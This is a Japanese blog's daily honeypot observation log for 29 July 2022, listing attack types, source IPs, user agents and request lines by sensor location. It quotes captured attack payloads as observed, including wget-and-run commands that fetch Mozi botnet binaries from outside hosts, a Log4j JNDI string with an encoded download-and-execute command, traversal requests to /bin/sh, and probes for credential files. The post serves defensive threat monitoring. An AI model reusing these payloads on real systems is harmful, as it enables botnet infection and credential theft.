コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2022/07/29 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2022/07/29分です。

特徴
共通

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
/.envへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為

Location:JP

Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
.jsへのスキャン行為
phpMyAdminへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  rischyo.cf/jaws;
sh /tmp/jaws
Location:US

Atlassian Jira Server/Data Centerの脆弱性(CVE-2021-26086)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Lkx-Apache2449TraversalPluginによるスキャン行為
Lkx-TraversalHttpPluginによるスキャン行為
curlによるスキャン行為
l9exploreによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location:UK

D-link製品の脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
phpMyAdminへのスキャン行為
Gh0stRATのような動き

を確認しました。

Location:SG

zgrabによるスキャン行為
.jsへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
他
アクセス数推移

JP：総アクセス数：84 (前日比：-1)
US：総アクセス数：136 (前日比：62)
UK：総アクセス数：108 (前日比：56)
SG：総アクセス数：75 (前日比：3)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 20.213.243.254 United States
4 23.250.19.242 Canada
1 45.83.67.34 Germany
1 45.153.241.153 Germany
1 59.99.129.93 India
2 62.171.159.235 Germany
1 64.79.79.178 United States
1 69.162.231.221 United States
16 95.214.235.205 Ukraine
1 107.182.129.137 United States
2 109.237.103.9 Russia
1 124.221.9.159 China
2 129.146.57.55 United States
8 135.125.244.48 France
8 135.125.246.110 France
1 137.184.88.136 United States
1 138.197.11.251 United States
1 147.182.255.203 United States
7 159.223.180.116 United States
1 161.35.156.229 United States
4 163.123.143.71 United States
1 167.172.250.145 United States
1 172.104.138.223 United States
2 173.212.233.104 Germany
1 178.72.70.217 Russia
1 181.214.206.161 United States
10 185.7.214.104 Hong Kong
1 198.235.24.158 United States
2 216.131.79.186 United States

UserAgent一覧

件数 UserAgent
14 -
2 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Spotify / 1.1.39.612 Safari / 537.36
38 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
5 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 python-requests/2.26.0
1 t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//200[.]150[.]205[.]222:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzIwMC4xNTAuMjAyLjE4OC9Nb29uLnNoOyBjdXJsIC1PIGh0dHA6Ly8yMDAuMTUwLjIwMi4xODgvTW9vbi5zaDsgY2htb2QgNzc3IE1vb24uc2g7IHNoIE1vb24uc2g=}')
1 xxx

リクエスト内容一覧

件数 Method Request Protocol
1 \x16\x03\x01\x01D\x01
2 \x16\x03\x01
1 ``
39 GET /.env HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /:80:undefined?id= HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /a2billing/customer/templates/default/footer.tpl HTTP/1.1
1 GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0
1 GET /c/version.js HTTP/1.1
1 GET /console/ HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /flu/403.html HTTP/1.1
1 GET /fuN3 HTTP/1.0
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /phpMyAdmin/index.php HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+ rischyo.cf/jaws;sh+/tmp/jaws
1 GET /sitemap.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stalker_portal/c/version.js HTTP/1.1
1 GET /stream/live.php HTTP/1.1
1 GET /streaming/clients_live.php HTTP/1.1
1 GET /system_api.php HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 HEAD / HTTP/1.1
1 HEAD / HTTP/1.0
1 OPTIONS / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /api/v0/id HTTP/1.1
5 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 3.144.215.126 United States
33 20.198.222.157 United States
1 27.47.40.78 China
1 35.90.26.136 United States
3 43.135.86.160 Singapore
1 45.83.67.81 Germany
7 47.252.31.121 United States
9 51.79.29.48 Canada
2 107.182.129.137 United States
2 109.237.103.9 Russia
1 112.226.127.125 China
1 120.86.236.32 China
2 122.165.245.122 India
1 137.184.33.230 United States
7 143.198.43.97 United States
1 147.182.255.203 United States
24 161.35.188.242 United States
1 162.142.125.212 United States
1 162.142.125.221 United States
5 163.123.143.71 United States
1 171.22.30.42 Bulgaria
2 172.104.81.230 United States
1 172.104.242.173 United States
1 183.0.96.230 China
10 185.7.214.104 Hong Kong
4 185.142.236.43 Seychelles
8 185.254.196.223 Ukraine
2 194.165.16.72 Panama
1 205.185.116.25 United States
1 205.210.31.137 United States
1 212.71.233.48 United States

UserAgent一覧

件数 UserAgent
19 -
1 AlexaMediaPlayer/2.1.4676.0 (Linux;Android 5.1.1) ExoPlayerLib/1.5.9
3 Go-http-client/1.1
2 Hello, world
1 Lkx-Apache2449TraversalPlugin/0.0.1 (+https[:]//leakix[.]net/, +https[:]//twitter[.]com/HaboubiAnis)
1 Lkx-TraversalHttpPlugin/0.0.1 (+https[:]//leakix[.]net/, +https[:]//twitter[.]com/HaboubiAnis)
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
3 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3464.0 Safari/537.36
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
33 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
22 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0
8 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
4 Mozilla/5.0 (compatible;)
1 curl/7.75.0
18 l9explore/1.3.0

リクエスト内容一覧

件数 Method Request Protocol
2 \x03
1 \x16\x03\x01\x01D\x01
2 \x16\x03\x01\x02
4 \x16\x03\x01
1 CONNECT leakix[.]net:443 HTTP/1.1
1 GET /.DS_Store HTTP/1.1
24 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /.json HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /0bef HTTP/1.0
1 GET /83.118.68.34.bc.googleusercontent.com/.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /admin/.env HTTP/1.1
1 GET /api/.env HTTP/1.1
1 GET /api/geojson?url=file:///etc/hosts HTTP/1.1
1 GET /api/search?folderIds=0 HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /app/config/.env HTTP/1.1
1 GET /apps/.env HTTP/1.1
1 GET /audio/.env HTTP/1.1
1 GET /backend/.env HTTP/1.1
1 GET /base/.env HTTP/1.1
1 GET /blog/.env HTTP/1.1
1 GET /c/version.js HTTP/1.1
2 GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts HTTP/1.1
1 GET /cgi-bin/.env HTTP/1.1
1 GET /conf/.env HTTP/1.1
1 GET /config.json HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /crm/.env HTTP/1.1
1 GET /database/.env HTTP/1.1
1 GET /debug/default/view?panel=config HTTP/1.1
1 GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1
1 GET /evox/about HTTP/1.1
5 GET /favicon.ico HTTP/1.1
1 GET /flu/403.html HTTP/1.1
1 GET /frontend_dev.php/$ HTTP/1.1
1 GET /hardhat.config.js HTTP/1.1
1 GET /idx_config/ HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /library/.env HTTP/1.1
1 GET /local/.env HTTP/1.1
1 GET /login.action HTTP/1.1
1 GET /new/.env HTTP/1.1
1 GET /newsite/.env HTTP/1.1
1 GET /old/.env HTTP/1.1
1 GET /phpMyAdmin/index.php HTTP/1.1
3 GET /phpmyadmin/index.php HTTP/1.1
1 GET /phpmyadmin4.8.5/index.php HTTP/1.1
1 GET /pmd/index.php HTTP/1.1
1 GET /protected/.env HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /s/lkx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1
1 GET /server-status HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//112[.]226[.]127[.]125:48125/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
2 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /sites/all/libraries/mailchimp/.env HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /src/.env HTTP/1.1
1 GET /stalker_portal/c/version.js HTTP/1.1
1 GET /storage/.env HTTP/1.1
1 GET /stream/live.php HTTP/1.1
1 GET /streaming/clients_live.php HTTP/1.1
1 GET /system_api.php HTTP/1.1
1 GET /telescope/requests HTTP/1.1
1 GET /text4041659025394 HTTP/1.1
1 GET /v2/_catalog HTTP/1.1
1 GET /vendor/.env HTTP/1.1
1 GET /vendor/laravel/.env HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr HTTP/1.1
1 GET /wp-admin/.env HTTP/1.1
1 GET /wp-content/.env HTTP/1.1
1 GET /www/.env HTTP/1.1
1 HEAD / HTTP/1.0
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
8 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /sdk HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 PRI * HTTP/2.0
1 PUT /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
57 44.230.211.206 United States
1 45.83.64.125 Germany
2 62.171.159.235 Germany
1 66.240.192.82 United States
1 66.240.205.34 United States
4 94.102.49.193 United Kingdom
2 107.182.129.137 United States
2 109.237.103.9 Russia
1 114.228.216.172 China
1 116.68.104.65 India
1 143.92.32.170 Singapore
7 159.223.143.129 United States
1 162.142.125.9 United States
6 163.123.143.71 United States
1 167.94.146.58 United States
1 167.248.133.61 United States
1 177.106.120.163 Brazil
2 179.43.155.171 Panama
1 182.119.188.52 China
10 185.7.214.104 Hong Kong
2 194.165.16.76 Panama
1 203.174.87.98 Singapore
1 205.185.116.89 United States
1 205.210.31.147 United States

UserAgent一覧

件数 UserAgent
19 -
1 Mozila/5.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10
6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Spotify / 1.1.39.612 Safari / 537.36
58 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
8 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
2 \x03
1 \x16\x03\x01\x01D\x01
3 \x16\x03\x01
1 GET /.aws/credentials HTTP/1.1
1 GET /.docker/.env HTTP/1.1
1 GET /.docker/laravel/app/.env HTTP/1.1
1 GET /.env.backup HTTP/1.1
1 GET /.env.local HTTP/1.1
1 GET /.env.prod.local HTTP/1.1
1 GET /.env.prod HTTP/1.1
1 GET /.env.production.local HTTP/1.1
2 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /.msmtprc HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /?pp=env HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /acme-challenge/.env HTTP/1.1
1 GET /acme_challenges/.env HTTP/1.1
1 GET /admin/.env HTTP/1.1
1 GET /api/.env HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /beta/.env HTTP/1.1
1 GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0
1 GET /bootstrap/.env HTTP/1.1
1 GET /c/version.js HTTP/1.1
1 GET /conf/.env HTTP/1.1
1 GET /config.json HTTP/1.1
2 GET /config/.env HTTP/1.1
1 GET /console/ HTTP/1.1
2 GET /core/.env HTTP/1.1
1 GET /core/app/.env HTTP/1.1
1 GET /dashboard/phpinfo.php HTTP/1.1
1 GET /debug/default/view.html HTTP/1.1
1 GET /debug/default/view HTTP/1.1
1 GET /doc/.env HTTP/1.1
1 GET /docker/.env HTTP/1.1
1 GET /docker/app/.env HTTP/1.1
1 GET /dotfiles/.env HTTP/1.1
1 GET /en/.env HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /flu/403.html HTTP/1.1
1 GET /frontend/web/debug/default/view HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /infos.php HTTP/1.1
1 GET /js/.env HTTP/1.1
1 GET /kyc/.env HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /laravel/core/.env HTTP/1.1
1 GET /lib/.env HTTP/1.1
1 GET /libs/.env HTTP/1.1
1 GET /linusadmin-phpinfo.php HTTP/1.1
1 GET /map/baidumap.xml HTTP/1.1
1 GET /old_phpinfo.php HTTP/1.1
1 GET /php-info.php HTTP/1.1
1 GET /phpMyAdmin/index.php HTTP/1.1
1 GET /phpinfo.php HTTP/1.1
1 GET /phpinfo HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /prod/.env HTTP/1.1
1 GET /pub/.env HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /s3cmd.ini HTTP/1.1
1 GET /sapi/debug/default/view HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//116[.]68[.]104[.]65:59357/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /site/.env HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /sites/.env HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stalker_portal/c/version.js HTTP/1.1
1 GET /stream/live.php HTTP/1.1
1 GET /streaming/clients_live.php HTTP/1.1
1 GET /system_api.php HTTP/1.1
1 GET /tool/view/phpinfo.view.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /web/debug/default/view HTTP/1.1
1 GET /wp-config.php-backup HTTP/1.1
1 HEAD / HTTP/1.0
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
8 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /editBlackAndWhiteList HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 20.55.53.144 United States
1 27.50.59.67 Singapore
1 45.83.66.44 Germany
12 51.79.29.48 Canada
1 52.231.112.17 United States
1 65.157.23.94 United States
1 66.240.192.82 United States
1 66.240.205.34 United States
1 74.82.47.2 United States
1 78.128.112.10 Bulgaria
4 93.174.95.106 United Kingdom
4 103.118.204.196 China
2 107.182.129.137 United States
1 108.170.31.55 United States
7 138.68.182.86 United States
1 162.142.125.7 United States
1 162.142.125.222 United States
6 163.123.143.71 United States
1 167.94.146.60 United States
1 167.248.133.62 United States
1 172.104.138.223 United States
3 172.105.85.90 United States
1 178.72.76.237 Russia
1 181.214.206.161 United States
10 185.7.214.104 Hong Kong
8 185.254.196.223 Ukraine
2 194.165.16.37 Panama

UserAgent一覧

件数 UserAgent
15 -
3 Go-http-client/1.1
1 Hello, world
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36
6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Spotify / 1.1.39.612 Safari / 537.36
23 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
8 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 zgrab/0.x
3 \"Mozilla/5.0

リクエスト内容一覧

件数 Method Request Protocol
1 *\xbe\xdf~)\x01\x93\xeb2@\x80LU\t\xd1z\xa0\x06\xfa`
1 Gh0st\xad
2 \x03
2 \x16\x03\x01
1 \x16\x03
23 GET /.env HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /c/version.js HTTP/1.1
1 GET /console/ HTTP/1.1
4 GET /favicon.ico HTTP/1.1
1 GET /flu/403.html HTTP/1.1
1 GET /fuN3 HTTP/1.0
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /map/baidumap.xml HTTP/1.1
1 GET /nmaplowercheck1658953764 HTTP/1.1
2 GET /robots.txt HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
2 GET /sitemap.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stalker_portal/c/version.js HTTP/1.1
1 GET /stream/live.php HTTP/1.1
1 GET /streaming/clients_live.php HTTP/1.1
1 GET /system_api.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 HEAD / HTTP/1.0
1 OPTIONS / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
8 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /sdk HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
4 PRI * HTTP/2.0